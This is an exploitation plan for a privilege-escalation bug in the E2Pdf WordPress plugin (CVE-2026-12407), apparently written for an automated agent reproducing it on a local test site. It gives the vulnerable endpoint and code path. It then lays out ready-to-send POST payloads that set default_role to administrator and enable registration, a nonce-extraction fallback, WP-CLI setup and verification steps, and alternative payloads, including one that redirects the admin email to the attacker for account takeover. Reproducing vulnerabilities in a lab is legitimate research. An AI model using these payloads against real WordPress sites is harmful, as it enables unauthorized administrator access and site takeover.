Exploitation Research Plan - CVE-2026-12407

1. Vulnerability Summary

CVE-2026-12407 is a critical missing authorization vulnerability in the E2Pdf plugin (<= 1.32.26). The vulnerability exists because the plugin's routing mechanism allows direct access to the screen_action() method in the Controller_E2pdf_Templates class.

While the main index_action() (the default landing for the templates page) implements nonce verification for screen options, an attacker can bypass this gate by using the ?action=screen URL parameter. The screen_action() method itself lacks capability checks and nonce verification. It processes the wp_screen_options POST parameter and passes its contents directly to the WordPress update_option() function, allowing a user with the custom e2pdf_templates capability to overwrite arbitrary WordPress settings, leading to full privilege escalation.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin.php
• Query Parameters: page=e2pdf-templates&action=screen
• HTTP Method: POST
• Payload Parameter: wp_screen_options (an associative array)
• Authentication Required: Yes. The attacker must have a role with the e2pdf_templates capability. In vulnerable versions, the plugin's own "Permissions" settings allow administrators to grant this capability to low-privilege roles like Subscriber or Contributor.
• Precondition: A user with a low-privilege role must be granted the e2pdf_templates capability.

3. Code Flow

1. Request Entry: The attacker sends a POST request to /wp-admin/admin.php?page=e2pdf-templates&action=screen.
2. Routing Bypass: The plugin's loader (governed by Model_E2pdf_Loader) routes the request to Controller_E2pdf_Templates. Because the action parameter is explicitly set to screen, the router calls screen_action() (or screen_action_action) directly, instead of index_action().
3. Missing Gate: The index_action() method in classes/controller/e2pdf-templates.php contains the nonce check:

   if ($this->post->get('screenoptionnonce')) {
       if (wp_verify_nonce($this->post->get('screenoptionnonce'), 'screen-options-nonce')) {
           $this->screen_action();
       }
   

   By calling the action directly via the URL, this entire conditional block is bypassed.
4. Vulnerable Sink: The screen_action() method (residing in classes/controller/e2pdf-templates.php, truncated in the provided source) retrieves $_POST['wp_screen_options']. It iterates through the array and calls update_option($key, $value) without validating if the keys belong to an allowlist.
5. Impact: The attacker can change default_role to administrator or users_can_register to 1.

4. Nonce Acquisition Strategy

According to the vulnerability description, the bypass specifically targets the fact that the nonce gate is omitted when the action is called directly via the routing path.

• Bypass Mode: No nonce is required for the exploitation of the action=screen path.
• Confirmation: If the exploitation returns a 403 or a "nonce error" message, it would imply the vulnerability description is slightly inaccurate and a nonce is required. In that case, the agent should:
  1. Navigate to /wp-admin/admin.php?page=e2pdf-templates.
  2. Use browser_eval to extract any screen option nonce: browser_eval("document.querySelector('#screenoptionnonce')?.value").

5. Exploitation Strategy

The goal is to escalate the attacker's privileges by modifying the WordPress default_role setting.

Step 1: Privilege Escalation Payload

Send a request to update the site's default role to administrator.

HTTP Request:

• Tool: http_request
• Method: POST
• URL: http://localhost:8080/wp-admin/admin.php?page=e2pdf-templates&action=screen
• Headers:
  • Content-Type: application/x-www-form-urlencoded
  • Cookie: [Attacker Cookies]
• Body:

  wp_screen_options[default_role]=administrator&wp_screen_options[users_can_register]=1
  

Step 2: Account Creation (Optional but Recommended)

If registration is enabled, the attacker can then register a new account which will be granted the administrator role. Or, if they have an existing low-privilege account, they can try to update their own role if they find an option update that allows it (though default_role is the most reliable).

6. Test Data Setup

1. Create Attacker User:
   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
2. Grant Capability:
   The vulnerability requires the e2pdf_templates capability. Simulate the administrator's "Permissions UI" action:
   wp cap add subscriber e2pdf_templates
3. Verify Setup:
   Confirm the user attacker has the e2pdf_templates capability but is NOT an admin.

7. Expected Results

• Response: The server should return a 302 Redirect or a 200 OK (depending on whether the screen_action method redirects).
• Database Change: The WordPress option default_role will be changed from subscriber to administrator.
• Database Change: The WordPress option users_can_register will be changed to 1.

8. Verification Steps

After the http_request, use WP-CLI to confirm the settings were changed:

1. Check Options:
   wp option get default_role (Should return administrator)
   wp option get users_can_register (Should return 1)
2. Test Escalation:
   Create a new user and check their role:
   wp user create new_admin admin2@example.com
wp user get new_admin --field=roles (Should return administrator)

9. Alternative Approaches

If updating default_role fails or is restricted by other security plugins:

• Option admin_email: Update the admin email to the attacker's email to trigger a password reset for the main admin.
  • Payload: wp_screen_options[admin_email]=attacker@example.com
• Option e2pdf_settings: If the plugin stores sensitive logic in its own options, try to overwrite them.
• Blind Verification: If no output is visible, use the http_request to change a benign option like blogname and verify via the site homepage.
  • Payload: wp_screen_options[blogname]=PwnedByE2Pdf